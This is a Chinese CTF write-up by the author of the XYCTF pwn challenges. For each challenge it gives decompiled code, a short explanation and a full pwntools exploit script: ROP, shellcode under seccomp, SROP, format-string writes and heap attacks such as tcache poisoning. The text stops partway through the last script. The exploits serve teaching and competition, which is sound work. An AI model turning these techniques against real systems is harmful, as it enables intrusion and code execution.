xyctf
题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn
前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题
hello_world(签到)
在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget
程序逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [rsp+0h] [rbp-20h] BYREF
init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}
程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 36241
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b'a' * 0x28
time.sleep(0.3)
# g(p)
s(payload)
ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139
payload = b'b' * 0x28
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret)+ p64(system)
time.sleep(0.3)
# g(p)
s(payload)
p.interactive()
Intermittent
程序的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*((_DWORD *)v5 + 4 * i) = buf[i];
v5();
return 0;
}
}
有三次输入的机会,输入完后会执行输入的shellcode,但是三次输入的地址都不连续,中间有大量的00字段阻碍shellcode的执行,同时长度也不够getshell,所以需要找到连接三段shellcode的方法 以及syscall read一次
这时候有两种思路,第一种是利用相对偏移跳转/相对偏移call去连接三段shellcode,第二种是,阻碍shellcode的原因是因为解引用错误导致程序崩溃,\x00\x00 对应 add byte ptr [rax], al,只需要将rax修改成一个正确的地址,就可以绕过中间这段00数据
第一种思路的exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "192.168.37.193"
PORT = 63188
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def generate_jmp(offset):
return b'\xE8' + p8(offset)
# call offset
payload = asm('''
xor eax,eax
''') + generate_jmp(9)
payload += asm('''
push rdx
pop rsi
''') + generate_jmp(9)
payload += asm('''
syscall
''')
print(len(payload))
time.sleep(0.3)
# g(p)
# ru("show your magic: ")
s(payload)
shellcode = asm('nop') * 0x80
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
time.sleep(0.3)
# g(p)
s(shellcode)
p.interactive()
第二种思路的exp
from pwn import *
context.log_level = 'debug'
p = process('./vuln')
# p = remote("121.62.23.53",32894)
# 利用 \x00\x00 对应 add byte ptr [rax], al
# 所以把rax设置为0x114514000这个地址后就可以正常运行\x00\x00
'''
push rdx
pop rax
push rbx
pop rdi
push rdx
pop rsi
push rdx
pop rsi # 对齐4字节
push rbx
pop rax
syscall
'''
payload = [b'RXS_', b'R^R^', b'SX\x0f\x05']
p.sendline(b''.join(payload))
"""
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
push 0
pop rsi
push 0
pop rdx
push 0x3b
pop rax
syscall
"""
payload = (b'\0' * 12).join(payload) + b'H\xb8/bin/sh\x00PT_j\x00^j\x00Zj;X\x0f\x05'
pause()
p.sendline(payload)
p.interactive()
invisible_flag
程序的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]
init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}
seccomp的规则
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
open read write被禁用了,需要找能替代这三个系统调用的方法,最简单的做法是用openat去替代open,然后用sendfile去代替read和write将flag读出来,或者是其他系统调用,或者是用侧信道 + 二分法把flag爆破出来
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 58483
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# 257 openat(0xffffff9c,flag_str_addr_,0)
# 40 sendfile(1,3,0,0x50)
payload = asm('''
mov eax,257
mov edi,0xffffff9c
mov rsi,0x114514060
xor edx,edx
syscall
mov eax,40
mov edi,1
mov esi,3
xor edx,edx
mov r10,0x50
syscall
''')
payload = payload.ljust(0x60,b'\x00')
payload += b'flag\x00\x00'
time.sleep(0.3)
# g(p)
s(payload)
p.interactive()
static_link
静态链接的程序,没有system函数 没有binsh字符,可以用ret2syscall,syscall read把binsh写到一个已知地址的内存段里,然后再调用execve拿shell
__int64 vuln()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("static_link? ret2??");
return read(0LL, v1, 256LL);
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 33160
elf = context.binary = ELF('./vuln')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
bss = 0x4c5000
rdi = 0x0000000000401f1f # pop rdi ; ret
rsi = 0x0000000000409f8e # pop rsi ; ret
rdx = 0x0000000000451322 # pop rdx ; ret
rax = 0x0000000000447fe7 # pop rax ; ret
syscall = 0x0000000000401cd4
read = 0x447580
payload = flat([
b'a' * (0x20 + 0x8),
rdi,0,rsi,bss,rdx,0x100,read,
rdi,bss,rsi,0,rdx,0,rax,0x3b,syscall
])
# g(p)
sla("static_link? ret2??\n",payload)
time.sleep(0.3)
sl(b'/bin/sh\x00\x00')
p.interactive()
fmt
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}
scanf和printf不同的地方是,scanf并不能通过 %n$p 这个表达式实现任意地址的泄露,但是任意地址写是可以实现的,glibc 2.31 在有libc地址的情况下可以打exit_hook为backdoor 或者one gadget
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "192.168.37.193"
PORT = 56046
elf = context.binary = ELF('./vuln')
libc = elf.libc
ld = ELF("./ld-2.31.so")
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
ru("gift: ")
leak_addr = rl()[:-1]
libc_base = int(leak_addr,16) - libc.sym['printf']
ld_base = libc_base + (0x7ff17ca54000 - 0x7ff17c860000)
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
success(hex(ld_base))
backdoor = 0x4012BE
s(b"%7$ldaaa" + p64(_dl_rtld_lock_recursive))
# g(p)
sl(str(backdoor))
p.interactive()
simple_srop
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}
__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return sandbox();
}
.text:000000000040128E public rt_sigreturn
.text:000000000040128E rt_sigreturn proc near
.text:000000000040128E ; __unwind {
.text:000000000040128E F3 0F 1E FA endbr64
.text:0000000000401292 55 push rbp
.text:0000000000401293 48 89 E5 mov rbp, rsp
.text:0000000000401296 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040129D 0F 05 syscall ; LINUX - sys_rt_sigreturn
.text:000000000040129F C3 retn
Srop + orw, 首先先调用一次signal return布置新栈,栈迁移到一个已知的地址,然后打signal return三次打orw就好了,或者是mprotect变成shellcode版本的orw,这样操作会少一些
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "127.0.0.1"
PORT = 39413
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# .text:0000000000401296 48 C7 C0 0F 00 00 00 mov rax, 0Fh
# .text:000000000040129D 0F 05 syscall ; LINUX - sys_rt_sigreturn
# .text:000000000040129F C3 retn
signal_return = 0x401296
syscall = 0x40129D
bss = 0x404000
payload = b'a' * 0x28
payload += p64(signal_return)
# syscall read 栈迁移 rop
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x500
sigframe.rsp = bss
sigframe.rip = syscall
payload += bytes(sigframe)
s(payload)
# syscall mprotect
payload = p64(signal_return)
sigframe = SigreturnFrame()
sigframe.rax = 10
sigframe.rdi = bss
sigframe.rsi = 0x1000
sigframe.rdx = 7
sigframe.rsp = bss + 0x158
sigframe.rip = syscall
payload += bytes(sigframe)
payload = payload.ljust(0x150,b'a')
payload += b'./flag\x00\x00' # 0x404150
payload += p64(0x404160) # 0x404158
payload += asm('''
mov rax,2
mov rdi,0x404150
mov rsi,0
syscall
mov rax,0
mov rdi,3
mov rsi,0x404000
mov rdx,0x40
syscall
mov rax,1
mov rdi,1
mov rsi,0x404000
mov rdx,0x40
syscall
''')
time.sleep(0.5)
s(payload)
p.interactive()
one_byte
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 4:
edit_chunk();
break;
case 5:
puts("[-] exit()");
exit(0);
default:
puts("[-] Error choice!");
break;
}
}
}
unsigned __int64 delete_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( *((_QWORD *)&chunk_list + v1) )
{
free(*((void **)&chunk_list + v1));
inused_list[v1] = 0;
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 view_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( *((_QWORD *)&chunk_list + v1) )
write(1, *((const void **)&chunk_list + v1), size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf(&unk_2004, &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( chunk_list[v1] )
read_data(chunk_list[v1], size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}
ssize_t __fastcall read_data(void *a1, int a2)
{
return read(0, a1, (unsigned int)(a2 + 1));
}
glibc 2.31,泄露libc地址的方式有很多,read_data中存在一个单字节的溢出,可以覆盖相邻堆块的size位一个字节,off by one漏洞,可以通过切分unsortedbin的方式,利用残留地址去泄露libc,或者是large bin残留的指针,也可以构造堆叠的方式去泄露,然后任意地址申请的原语可以通过double free去申请,也可以通过堆叠去实现 exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 33158
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def add(idx,size):
sla(">>> ","1")
sla("[?] please input chunk_idx: ",str(idx))
sla("[?] Enter chunk size: ",str(size))
def delete(idx):
sla(">>> ","2")
sla("[?] please input chunk_idx: ",str(idx))
def view(idx):
sla(">>> ","3")
sla("[?] please input chunk_idx: ",str(idx))
def edit(idx,content):
sla(">>> ","4")
sla("[?] please input chunk_idx: ",str(idx))
s(content)
p = connect()
for i in range(7):
add(i,0x80)
add(7,0x28) # overflow
add(8,0x28) # heap overlap
add(9,0x80) # heap overlap
add(10,0x28)
for i in range(7):
delete(i)
edit(7,b'A' * 0x28 + p8(0x61))
delete(8)
add(8,0x58) # heap overlap success
delete(9) # unsortedbin
view(8) # leak main_arena addr
ru(b'\x91')
r(7)
libc_base = u64(r(8)) - (0x7b7939032be0 - 0x7b7938e46000)
success(f"libc_base -> {hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(11,0x38)
add(12,0x38) # heapoverlap
add(13,0x38) # heapoverlap
add(14,0x38)
edit(11,b"B" * 0x38 + p8(0xf1))
delete(12)
add(12,0xe8)
delete(14)
edit(13,b's' * 0x20)
delete(13)
# g(p)
# tcache poison
edit(12,b'g' * 0x78 + p64(0x41) + p64(free_hook))
add(15,0x38)
add(16,0x38)
edit(16,p64(system))
edit(15,b'/bin/sh\x00\x00')
delete(15)
p.interactive()
fastfastfast
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 1 )
break;
create();
}
if ( choice == 2 )
{
delete();
}
else
{
if ( choice != 3 )
{
puts("Error choice");
exit(0);
}
show();
}
}
}
void __cdecl create()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-18h]
v2 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
v0 = idx;
note_addr[v0] = malloc(0x68uLL);
puts("please input content");
read(0, note_addr[idx], 0x68uLL);
}
else
{
puts("idx error");
}
}
void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]);
else
puts("idx error");
}
void __cdecl show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
if ( note_addr[idx] )
write(1, note_addr[idx], 0x68uLL);
else
puts("note is null");
}
else
{
puts("idx error");
}
}
glibc 2.31,通过fastbin double free去写free hook为system然后 free一个binsh的堆就可以getshell
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 33164
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create(idx,context):
sla(">>> ","1")
sla("please input note idx",str(idx))
sa("please input content",context)
def delete(idx):
sla(">>> ","2")
sla("please input note idx",str(idx))
def show(idx):
sla(">>> ","3")
sla("please input note idx",str(idx))
p = connect()
for i in range(7):
create(i,"AAAA")
create(7,"BBBB")
create(8,"BBBB")
# 0 - 6 tcache
for i in range(7):
delete(i)
# double free
delete(7)
delete(8)
delete(7)
for i in range(7):
create(i,"AAAA")
# bss addr
target = 0x404120
puts_got = elf.got['puts']
# double free
create(7,p64(target))
create(8,"BBBB")
create(7,"BBBB")
create(7,b"aaaaaaaa" + p64(puts_got))
# pwndbg> x /100gx ¬e_addr
# 0x4040c0 <note_addr>: 0x0000000001325540 0x00000000013254d0
# 0x4040d0 <note_addr+16>: 0x0000000001325460 0x00000000013253f0
# 0x4040e0 <note_addr+32>: 0x0000000001325380 0x0000000001325310
# 0x4040f0 <note_addr+48>: 0x00000000013252a0 0x0000000000404120
# 0x404100 <note_addr+64>: 0x0000000001325620 0x0000000000000000
# 0x404110 <note_addr+80>: 0x0000000000000000 0x0000000000000000
# 0x404120 <note_addr+96>: 0x6161616161616161 0x0000000000404020
# 0x404130 <note_addr+112>: 0x0000000000000000 0x0000000000000000
show(13)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
# libc_base = r_leak_libc_64() - libc.sym['puts']
success(hex(libc_base))
# g(p)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
for i in range(7):
create(i,"AAAA")
create(7,"BBBB")
create(8,"BBBB")
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
create(i,"AAAA")
create(7,p64(free_hook))
create(8,b"/bin/sh")
create(7,"BBBB")
create(7,p64(system))
delete(8)
# g(p)
p.interactive()
ptmalloc2 it’s myheap
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 114514:
_();
break;
default:
puts("[-] exit()");
exit(0);
}
}
}
__int64 _()
{
printf("this is a gift: %p\n", &puts);
return gift(hello_world);
}
unsigned __int64 view_chunk()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
if ( *((_QWORD *)&chunk_list + v1) )
{
if ( *(_QWORD *)(*((_QWORD *)&chunk_list + v1) + 8LL) )
write(1, *(const void **)(*((_QWORD *)&chunk_list + v1) + 16LL), **((_QWORD **)&chunk_list + v1));
else
puts("[-] Chunk is not used!");
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v2 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
v2 = *((_QWORD *)&chunk_list + v1);
if ( v2 )
{
if ( *(_QWORD *)(v2 + 8) )
{
free(*((void **)&chunk_list + v1));
free(*(void **)(v2 + 16));
*(_QWORD *)(v2 + 8) = 0LL;
}
else
{
puts("[-] Chunk is not used!");
}
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 add_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
_QWORD *v3; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
printf("[?] Enter chunk size: ");
__isoc99_scanf("%lld", &size);
v3 = malloc(0x18uLL);
*v3 = size;
if ( v3 )
{
buf = malloc(size);
v3[2] = buf;
if ( buf )
{
printf("[?] Enter chunk data: ");
read(0, buf, size);
chunk_list[v1] = v3;
v3[1] = 1LL;
}
else
{
puts("[-] Failed to create chunk for data!");
}
}
else
{
puts("[-] Failed to create new chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v5 - __readfsqword(0x28u);
}
可以通过glibc堆分配机制伪造一个chunk->inuse去泄露libc,meta_chunk中的指针可以用来泄露堆基地址,有了堆基地址就可以绕过safe link实现任意地址分配,可以通过写gift函数指针去劫持控制流
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "127.0.0.1"
PORT = 39411
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)
def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))
def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))
def gift():
sla(">>>","114514")
p = connect()
for i in range(7):
create(i,0x30,"AAAA")
create(7,0x30,"AAAA")
create(8,0x30,"AAAA")
for i in range(7):
delete(i)
create(9,0x18,b"A" * 0x10)
show(9)
ru(b"A" * 0x10)
leak = u64(ru("W")[:-1])
heap_base = leak - (0x4c34a0 - 0x4c3000)
success(hex(leak))
success(hex(heap_base))
# g(p)
delete(9)
delete(7)
delete(8)
for i in range(7):
create(i,0x30,"AAAA")
create(9,0x18,p64(0x30) + p64(1))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i,0x30,"AAAA")
# g(p)
target = 0x404070
pos = heap_base + (0x700560 - 0x700000)
target = (pos >> 12) ^ target
create(7,0x30,p64(target))
create(8,0x30,"BBBB")
create(7,0x30,"BBBB")
gift()
ru("this is a gift: ")
libc_base = int(r(14),16) - libc.sym['puts']
system = libc_base + libc.sym['system']
create(7,0x30,b"/bin/sh\x00" + b'\x00' * 0x8 + p64(system))
# g(p)
gift()
p.interactive()
ptmalloc2 it’s myheap pro
在ptmalloc2 its myheap的基础上把gift函数移除掉了
可以通过environ去泄露栈地址,打栈迁移
或者是用exit_hook的做法,有注册函数可以通过异或拿到fs 0x28的值,然后把cxa类型dl_fini写成system的地址 再传binsh的参数
用environ的方式会简单一些
exit_hook详细的原理可以参考这篇文章 https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "xyctf.top"
PORT = 33162
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
